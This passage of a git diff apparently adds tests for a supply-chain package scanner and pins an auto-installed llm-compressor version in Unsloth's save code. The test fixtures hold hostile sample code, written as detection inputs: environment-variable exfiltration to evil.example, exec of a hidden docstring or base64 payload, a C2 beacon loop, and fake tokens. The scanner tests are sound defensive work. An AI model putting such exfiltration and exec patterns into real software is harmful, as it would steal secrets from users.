f.check.startswith("Embedded cryptographic key + network") + ] + fn = [ + f + for f in sp.check_py_file(new, "p/k.py", "p") + if f.check.startswith("Embedded cryptographic key + network") + ] + assert fo and fn + assert "sha256:" in fo[0].evidence + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_shell_combos_bind_network_evidence(): + # Both shell combos record their network/exec side, so a changed endpoint + # reopens instead of riding the unchanged token or hook line. + old = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://old.example')\n" + new = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://evil.example')\n" + to = [ + f + for f in sp.check_shell_file(old, "p/i.sh", "p") + if f.check == "Shell embeds credential regexes AND makes network calls" + ] + tn = [ + f + for f in sp.check_shell_file(new, "p/i.sh", "p") + if f.check == "Shell embeds credential regexes AND makes network calls" + ] + assert to and tn + assert sp._finding_key(to[0]) != sp._finding_key(tn[0]) + ho = "SessionStart hook installed\nrequests.get('http://old.example')\n" + hn = "SessionStart hook installed\nrequests.get('http://evil.example')\n" + go = [ + f + for f in sp.check_shell_file(ho, "p/i.sh", "p") + if f.check.startswith("Shell installs developer-tool") + ] + gn = [ + f + for f in sp.check_shell_file(hn, "p/i.sh", "p") + if f.check.startswith("Shell installs developer-tool") + ] + assert go and gn + assert "Hook:" in go[0].evidence + assert sp._finding_key(go[0]) != sp._finding_key(gn[0]) + + +def test_hidden_network_exec_reopens_on_endpoint_change(): + # The hidden network+exec payload binds both the network and the exec signal, + # so changing the docstring exfil URL reopens the finding. + old = ( + '"""\nimport urllib.request, os\nurllib.request.urlopen("http://old/x").read()\n' + 'os.system("sh -c id")\n"""\nexec(__doc__)\n' + ) + new = ( + '"""\nimport urllib.request, os\nurllib.request.urlopen("http://evil/x").read()\n' + 'os.system("sh -c id")\n"""\nexec(__doc__)\n' + ) + fo = [f for f in sp.check_py_file(old, "p/d.py", "p") if "hidden network+exec" in f.check] + fn = [f for f in sp.check_py_file(new, "p/d.py", "p") if "hidden network+exec" in f.check] + assert fo and fn + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_base64_exec_blob_combo_binds_blob_digest(): + # The blob may sit on a separate line from the decode call; the finding now + # digests it, so a changed payload reopens even with unchanged base64/exec. + b1 = "BLOB = '" + "A" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n" + b2 = "BLOB = '" + "B" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n" + f1 = [f for f in sp.check_py_file(b1, "p/m.py", "p") if "large encoded blob" in f.check] + f2 = [f for f in sp.check_py_file(b2, "p/m.py", "p") if "large encoded blob" in f.check] + assert f1 and f2 + assert "Blob: sha256:" in f1[0].evidence + assert sp._finding_key(f1[0]) != sp._finding_key(f2[0]) + + +def test_openssl_key_combo_binds_key_evidence(): + # openssl + embedded key with no network must bind the key, so a changed key + # reopens instead of riding the OpenSSL line alone. + o1 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----A"\n' + o2 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----B"\n' + g1 = [f for f in sp.check_py_file(o1, "p/o.py", "p") if "openssl encryption" in f.check] + g2 = [f for f in sp.check_py_file(o2, "p/o.py", "p") if "openssl encryption" in f.check] + assert g1 and g2 + assert "Key:" in g1[0].evidence + assert sp._finding_key(g1[0]) != sp._finding_key(g2[0]) + + +def test_anti_analysis_combo_binds_suspicious_side(): + # The anti-analysis combo records the network/exec side, so a changed exfil + # endpoint reopens instead of riding the unchanged sleep/trace line. + old = "import time, requests\ntime.sleep(600)\nrequests.get('http://old.example')\n" + new = "import time, requests\ntime.sleep(600)\nrequests.get('http://evil.example/exfil')\n" + fo = [ + f + for f in sp.check_py_file(old, "p/x.py", "p") + if f.check == "Anti-analysis/sandbox evasion + suspicious behavior" + ] + fn = [ + f + for f in sp.check_py_file(new, "p/x.py", "p") + if f.check == "Anti-analysis/sandbox evasion + suspicious behavior" + ] + assert fo and fn + assert "Network:" in fo[0].evidence + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_dns_exfil_combo_binds_other_side(): + # The DNS exfil combo records the co-occurring network side, so a changed + # endpoint reopens instead of riding the unchanged DNS line. + old = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://old.example')\n" + new = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://evil.example/x')\n" + fo = [ + f + for f in sp.check_py_file(old, "p/d.py", "p") + if f.check == "DNS exfiltration / tunneling patterns" + ] + fn = [ + f + for f in sp.check_py_file(new, "p/d.py", "p") + if f.check == "DNS exfiltration / tunneling patterns" + ] + assert fo and fn + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_large_js_bundle_finding_is_content_bound(): + # A large benign JS bundle yields a HIGH carrying a content digest, not empty + # evidence: two different bundles in the same size bucket get different keys, + # so a malicious bundle cannot ride a baselined empty-evidence entry. + big_a = "var x = 1;\n" * 20000 # ~200 KB, benign + big_b = big_a + "var exfil = 2;\n" # different content, same size bucket + ja = [f for f in sp.check_js_file(big_a, "pkg/bundle.js", "pkg") if "JS bundle" in f.check] + jb = [f for f in sp.check_js_file(big_b, "pkg/bundle.js", "pkg") if "JS bundle" in f.check] + assert ja and jb, "large JS bundle must produce a finding" + assert ja[0].evidence.startswith("sha256:") + assert sp._finding_key(ja[0]) != sp._finding_key(jb[0]) + + +def test_pth_large_blob_finding_is_content_bound(): + # The .pth base64-blob evidence pins the full blob via a digest, so a payload + # that keeps the first 120 chars but changes the tail reopens the finding. + head = "A" * 120 + a = [ + f + for f in sp.check_pth_file("import os\n" + head + "B" * 200, "p/x.pth", "p") + if "base64-like blob" in f.check + ] + b = [ + f + for f in sp.check_pth_file("import os\n" + head + "C" * 200, "p/x.pth", "p") + if "base64-like blob" in f.check + ] + assert a and b, "large .pth blob must produce a finding" + assert "sha256:" in a[0].evidence + assert sp._finding_key(a[0]) != sp._finding_key(b[0]) + + +def test_pth_import_lines_record_all_not_first_five(): + # All executable import lines are recorded, so swapping the sixth import for a + # malicious one (first five unchanged) still reopens the catch-all finding. + base = "".join(f"import mod{i}\n" for i in range(6)) + swapped = "".join(f"import mod{i}\n" for i in range(5)) + "import evil\n" + fb = [f for f in sp.check_pth_file(base, "p/x.pth", "p") if "executable import line" in f.check] + fs = [ + f for f in sp.check_pth_file(swapped, "p/x.pth", "p") if "executable import line" in f.check + ] + assert fb and fs + assert sp._finding_key(fb[0]) != sp._finding_key(fs[0]) + + +def test_load_baseline_warns_on_missing_evidence_hash(tmp_path, capsys): + # A legacy baseline predating evidence_hash still loads (hash recomputed) but + # must WARN so the maintainer regenerates rather than degrade silently. + import json + + bl = tmp_path / "legacy.json" + bl.write_text( + json.dumps( + { + "version": 1, + "entries": [ + { + "package": "p", + "file": "p/x.py", + "check": "c", + "severity": sp.CRITICAL, + "evidence": "L5: while True:", + } + ], + } + ) + ) + keys = sp._load_baseline(str(bl)) + assert keys # still loaded + assert "lack evidence_hash" in capsys.readouterr().err + + def test_fstring_statement_is_not_blanked(): # A bare f-string evaluates at import, so it must stay scannable. src = "f\"{__import__('os').system('id')}\"\n" @@ -417,11 +1178,17 @@ def test_comment_only_network_exec_not_flagged(): def test_baseline_suppresses_listed_but_not_new_check(tmp_path): bl = tmp_path / "bl.json" - listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected") + listed = _mk( + sp.CRITICAL, + "fastapi", + "fastapi/routing.py", + "C2 polling/beaconing loop detected", + "L579: while True:", + ) sp._write_baseline(str(bl), [listed]) baseline = sp._load_baseline(str(bl)) - # Same (package, basename, check) -> suppressed. + # Same (package, path, check, matched code) -> suppressed. active, suppressed = sp._partition_baseline([listed], baseline) assert suppressed == [listed] and active == [] @@ -432,6 +1199,29 @@ def test_baseline_suppresses_listed_but_not_new_check(tmp_path): active2, suppressed2 = sp._partition_baseline([new_kind], baseline) assert active2 == [new_kind] and suppressed2 == [] + # Same file + same check but CHANGED flagged code -> still active. A future + # malicious payload cannot ride a previously reviewed entry's suppression. + changed_code = _mk( + sp.CRITICAL, + "fastapi", + "fastapi/routing.py", + "C2 polling/beaconing loop detected", + "L579: while True: requests.get('http://c2.example/beacon')", + ) + active3, suppressed3 = sp._partition_baseline([changed_code], baseline) + assert active3 == [changed_code] and suppressed3 == [] + + # A benign line shift of the SAME code stays suppressed (no version churn). + shifted = _mk( + sp.CRITICAL, + "fastapi", + "fastapi/routing.py", + "C2 polling/beaconing loop detected", + "L640: while True:", + ) + active4, suppressed4 = sp._partition_baseline([shifted], baseline) + assert suppressed4 == [shifted] and active4 == [] + def test_write_baseline_roundtrip_only_crit_high(tmp_path): bl = tmp_path / "bl.json" @@ -451,6 +1241,72 @@ def test_load_baseline_missing_file_is_empty(): assert sp._load_baseline("/nonexistent/path/bl.json") == set() +def test_load_baseline_rejects_non_list_entries(tmp_path, capsys): + # A malformed baseline whose "entries" is not a list must warn and fail + # closed (empty), not raise TypeError when iterated. + import json + + bl = tmp_path / "bad_entries.json" + bl.write_text(json.dumps({"version": 1, "entries": None}), encoding = "utf-8") + assert sp._load_baseline(str(bl)) == set() + assert "entries is not a list" in capsys.readouterr().err + + +def test_committed_baseline_suppresses_known_but_not_a_new_payload(): + """End-to-end against the shipped allowlist: a reviewed benign finding stays + suppressed, but a NEW malicious payload in the same baselined file/check is + not (closes the supply-chain bypass where a future botocore/utils.py payload + rode the existing CRITICAL entry).""" + import json + + baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json" + entries = json.loads(baseline_path.read_text())["entries"] + target = next( + e + for e in entries + if e["package"] == "botocore" + and e["file"] == "botocore/utils.py" + and e["check"] == "Harvests environment variables/secrets AND makes network calls" + ) + baseline = sp._load_baseline(str(baseline_path)) + + # The exact reviewed finding is suppressed. + benign = _mk( + target["severity"], target["package"], target["file"], target["check"], target["evidence"] + ) + active, suppressed = sp._partition_baseline([benign], baseline) + assert suppressed == [benign] and active == [] + + # A future malicious version: same file, same check, new exfil code. Must + # remain ACTIVE so the enforcing gate (exit 1) still trips. + malicious = _mk( + target["severity"], + target["package"], + target["file"], + target["check"], + "Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)", + ) + active2, suppressed2 = sp._partition_baseline([malicious], baseline) + assert active2 == [malicious] and suppressed2 == [] + + +def test_committed_baseline_entries_all_carry_evidence_hash(): + """Every shipped entry must pin an evidence_hash; an entry without one would + silently fall back to the coarse legacy match for that file/check.""" + import json + + baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json" + entries = json.loads(baseline_path.read_text())["entries"] + assert entries, "committed baseline should not be empty" + missing = [ + f"{e['package']}:{e['file']}:{e['check']}" for e in entries if not e.get("evidence_hash") + ] + assert not missing, f"entries missing evidence_hash: {missing[:5]}" + # And each pinned hash matches a recompute from the stored evidence. + for e in entries: + assert e["evidence_hash"] == sp._evidence_hash(e["evidence"]), e["file"] + + # sdist fallback: cover sdist-only packages without building. All offline # -- PyPI JSON / download are mocked. diff --git a/unsloth/save.py b/unsloth/save.py index 76bc6aa733..226ca5fed8 100644 --- a/unsloth/save.py +++ b/unsloth/save.py @@ -1363,11 +1363,18 @@ def install_python_non_blocking(packages = []): return run_installer +# Bound the first-use auto-install so no unvetted release is pulled: not an inflated "0.999.0", nor +# a crafted higher in-range patch like "0.12.999" from a mirror. Cap to the exact vetted patch and +# bump deliberately. Floor 0.6.0 keeps torch>=2.4 resolvable (0.7+ need torch>=2.7; torch pinned below). +_LLM_COMPRESSOR_SPEC = "llmcompressor>=0.6.0,<=0.12.0" + + def install_llm_compressor(): """Import llm-compressor, installing it on first use for FP8/FP4 export. - Pins the current torch + transformers so pip does not upgrade them (a plain install pulls - transformers>=5 and breaks Unsloth). Returns (oneshot, QuantizationModifier). + Installs a version-pinned llm-compressor, pinning the current torch + transformers so pip does + not upgrade them. Set UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL=1 to forbid the auto-install. + Returns (oneshot, QuantizationModifier). """ try: from llmcompressor import oneshot @@ -1376,9 +1383,24 @@ def install_llm_compressor(): except Exception: pass + # Opt-out for locked-down / air-gapped setups: forbid the auto-install, require a manual one. + if os.environ.get("UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL", "0").lower() not in ( + "0", + "", + "false", + "no", + ): + raise RuntimeError( + "Unsloth: llm-compressor is required for FP8/FP4 compressed export but is not " + "installed, and automatic installation is disabled via " + "UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL. Install it manually with:\n" + f" uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n" + "(pin torch and transformers to your current versions to avoid upgrading them)." + ) + print( "Unsloth: Installing llm-compressor for FP8/FP4 export " - "(pinning your torch + transformers so they are not upgraded). " + f"({_LLM_COMPRESSOR_SPEC}; pinning your torch + transformers so they are not upgraded). " "This can take a few minutes..." ) import importlib @@ -1401,13 +1423,13 @@ def install_llm_compressor(): import importlib.util if importlib.util.find_spec("pip") is not None: - cmd = [sys.executable, "-m", "pip", "install", "llmcompressor"] + cmd = [sys.executable, "-m", "pip", "install", _LLM_COMPRESSOR_SPEC] elif shutil.which("uv") is not None: - cmd = ["uv", "pip", "install", "--python", sys.executable, "llmcompressor"] + cmd = ["uv", "pip", "install", "--python", sys.executable, _LLM_COMPRESSOR_SPEC] else: raise RuntimeError( "Unsloth: cannot install llm-compressor because this environment has neither pip nor " - f"uv. Install it manually with:\n uv pip install --python {sys.executable} llmcompressor\n" + f"uv. Install it manually with:\n uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n" "(pin torch and transformers to your current versions to avoid upgrading them)." ) cpath = None @@ -1421,8 +1443,8 @@ def install_llm_compressor(): except subprocess.CalledProcessError as e: raise RuntimeError( "Unsloth: Failed to install llm-compressor. Install it manually with:\n" - f" uv pip install --python {sys.executable} llmcompressor\n" - f"or, if pip is available:\n {sys.executable} -m pip install llmcompressor\n" + f" uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n" + f"or, if pip is available:\n {sys.executable} -m pip install '{_LLM_COMPRESSOR_SPEC}'\n" "(pin torch and transformers to your current versions to avoid upgrading them).\n" f"Underlying error: {e}" ) diff --git a/unsloth_cli/commands/chat.py b/unsloth_cli/commands/chat.py index a483aeeb6c..d3bfbbf96b 100644 --- a/unsloth_cli/commands/chat.py +++ b/unsloth_cli/commands/chat.py @@ -71,7 +71,7 @@ def _get_base_load_in_4bit(model_config) -> bool: if not adapter_cfg_path.exists(): return True - with open(adapter_cfg_path) as f: + with open(adapter_cfg_path, encoding = "utf-8") as f: adapter_cfg = json.load(f) training_method = adapter_cfg.get("unsloth_training_method") diff --git a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py index 7a5080bd10..80641a17c3 100644 --- a/unsloth_cli/commands/studio.py +++ b/unsloth_cli/commands/studio.py @@ -461,7 +461,7 @@ def _write_auth_secret(path: Path, secret: str) -> None: os.chmod(tmp_path, 0o600) except OSError: pass - with os.fdopen(fd, "w") as f: + with os.fdopen(fd, "w", encoding = "utf-8") as f: fd = -1 f.write(secret) os.replace(tmp_path, path)